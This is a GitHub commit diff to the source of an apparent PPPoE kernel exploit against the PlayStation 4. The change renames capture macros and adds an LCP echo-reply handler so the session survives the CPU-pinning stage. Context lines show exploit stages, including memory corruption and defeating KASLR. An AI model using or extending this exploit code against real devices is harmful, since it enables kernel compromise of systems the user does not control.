Skip to content

Commit

Permalink
Respond to LCP ECHO_REQ when CPU pinning
Browse files Browse the repository at this point in the history
  • Loading branch information
xfangfang committed May 22, 2024
1 parent 1592e47 commit 822b8a3
Showing 1 changed file with 33 additions and 13 deletions.
46 changes: 33 additions & 13 deletions src/exploit.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -65,8 +65,8 @@ struct Cookie {

#define CHECK_RET(value) if((value) != 0) return 1

#define startCapture(cb) if(dev->startCaptureBlockingMode(cb, nullptr, this->timeout) != 1) { return 1; }
#define startCaptureWithCookie(cb, cookie) if(dev->startCaptureBlockingMode(cb, cookie, this->timeout) != 1) { return 1; }
#define startBlockingCapture(cb) if(dev->startCaptureBlockingMode(cb, nullptr, this->timeout) != 1) { return 1; }
#define startBlockingCaptureWithCookie(cb, cookie) if(dev->startCaptureBlockingMode(cb, cookie, this->timeout) != 1) { return 1; }

LcpEchoHandler::LcpEchoHandler(const std::string &iface) {
dev = pcpp::PcapLiveDeviceList::getInstance().getPcapLiveDeviceByName(iface);
Expand Down Expand Up @@ -243,7 +243,7 @@ int Exploit::lcp_negotiation() const {

std::cout << "[*] Waiting for LCP configure ACK..." << std::endl;
{
startCapture(
startBlockingCapture(
[](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
pcpp::Packet parsedPacket(packet);
auto *layer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_LCP);
Expand All @@ -255,7 +255,7 @@ int Exploit::lcp_negotiation() const {
std::cout << "[*] Waiting for LCP configure request..." << std::endl;
uint8_t lcp_id = 0;
{
startCaptureWithCookie(
startBlockingCaptureWithCookie(
[](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
pcpp::Packet parsedPacket(packet);
auto *layer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_LCP);
Expand Down Expand Up @@ -284,7 +284,7 @@ int Exploit::ipcp_negotiation() const {

std::cout << "[*] Waiting for IPCP configure ACK..." << std::endl;
{
startCapture(
startBlockingCapture(
[](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
pcpp::Packet parsedPacket(packet);
auto *layer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_IPCP);
Expand All @@ -296,7 +296,7 @@ int Exploit::ipcp_negotiation() const {
std::cout << "[*] Waiting for IPCP configure request..." << std::endl;
uint8_t ipcp_id = 0;
{
startCaptureWithCookie(
startBlockingCaptureWithCookie(
[](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
pcpp::Packet parsedPacket(packet);
auto *lcp_id = (uint8_t *) cookie;
Expand All @@ -318,7 +318,7 @@ int Exploit::ipcp_negotiation() const {
std::cout << "[*] Waiting for IPCP configure request..." << std::endl;
Cookie pkt;
{
startCaptureWithCookie(
startBlockingCaptureWithCookie(
[](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
pcpp::Packet parsedPacket(packet, pcpp::PPPoESession);
auto *layer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_IPCP);
Expand Down Expand Up @@ -415,7 +415,7 @@ int Exploit::ppp_negotiation(const std::function<std::vector<uint8_t>(Exploit *)

std::cout << "[*] Waiting for PADR..." << std::endl;
{
startCapture(
startBlockingCapture(
[](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
pcpp::Packet parsedPacket(packet);
auto *layer = PacketBuilder::getPPPoEDiscoveryLayer(parsedPacket,
Expand Down Expand Up @@ -753,7 +753,7 @@ int Exploit::stage0() {
dev->sendPacket(&packet);
}

startCapture(
startBlockingCapture(
[](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
pcpp::Packet parsedPacket(packet, pcpp::ICMPv6);
if (!parsedPacket.isPacketOfType(pcpp::ICMPv6)) return false;
Expand All @@ -778,6 +778,25 @@ int Exploit::stage0() {
}

int Exploit::stage1() {
/**
* In some devices, the waiting time is not accurate, which may cause the CPU pinning time to be too long,
* and the PS4 unilaterally ends the PPPoE session.
* To avoid this situation, respond to the PPPoE ECHO_REQ here
*/
dev->startCapture([](pcpp::RawPacket* packet, pcpp::PcapLiveDevice* device, void* cookie){
pcpp::Packet parsedPacket(packet, pcpp::PPPoESession);
auto *pppLayer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_LCP);
if (!pppLayer) return;
if (pppLayer->getLayerPayload()[0] != ECHO_REQ) return;
auto *etherLayer = parsedPacket.getLayerOfType<pcpp::EthLayer>();
if (!etherLayer) return;
auto &&echoReply = PacketBuilder::lcpEchoReply(etherLayer->getDestMac(), etherLayer->getSourceMac(),
pppLayer->getPPPoEHeader()->sessionId,
pppLayer->getLayerPayload()[1], // id
*(uint32_t *) &pppLayer->getLayerPayload()[4]); // magic number
device->sendPacket(&echoReply);
}, nullptr);

/**
* Send invalid packet to trigger a printf in the kernel. For some
* reason, this causes scheduling on CPU 0 at some point, which makes
Expand All @@ -795,6 +814,7 @@ int Exploit::stage1() {
}
}

dev->stopCapture();
std::cout << "\r[+] Pinning to CPU 0...done" << std::endl;

// LCP fails sometimes without the wait
Expand All @@ -812,7 +832,7 @@ int Exploit::stage1() {
}

std::cout << "[*] Waiting for LCP configure reject..." << std::endl;
startCapture(
startBlockingCapture(
[](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
pcpp::Packet parsedPacket(packet);
auto *layer = PacketBuilder::getPPPoESessionLayer(parsedPacket, PCPP_PPP_LCP);
Expand Down Expand Up @@ -847,7 +867,7 @@ int Exploit::stage1() {
dev->sendPacket(&packet);
}

startCaptureWithCookie(
startBlockingCaptureWithCookie(
[](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
pcpp::Packet parsedPacket(packet);
auto *corrupted = (bool *) cookie;
Expand Down Expand Up @@ -888,7 +908,7 @@ int Exploit::stage1() {

int Exploit::stage2() {
std::cout << std::endl << "[*] Defeating KASLR..." << std::endl;
startCaptureWithCookie(
startBlockingCaptureWithCookie(
[](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
pcpp::Packet parsedPacket(packet, pcpp::ICMPv6);
if (!parsedPacket.isPacketOfType(pcpp::ICMPv6)) return false;
Expand Down Expand Up @@ -940,7 +960,7 @@ int Exploit::stage3() {

std::cout << "[*] Waiting for stage1 to resume..." << std::endl;
int count = 0;
startCaptureWithCookie(
startBlockingCaptureWithCookie(
[](pcpp::RawPacket *packet, pcpp::PcapLiveDevice *device, void *cookie) -> bool {
auto *count = (int *) cookie;
pcpp::Packet parsedPacket(packet);
Expand Down

0 comments on commit 822b8a3

Please sign in to comment.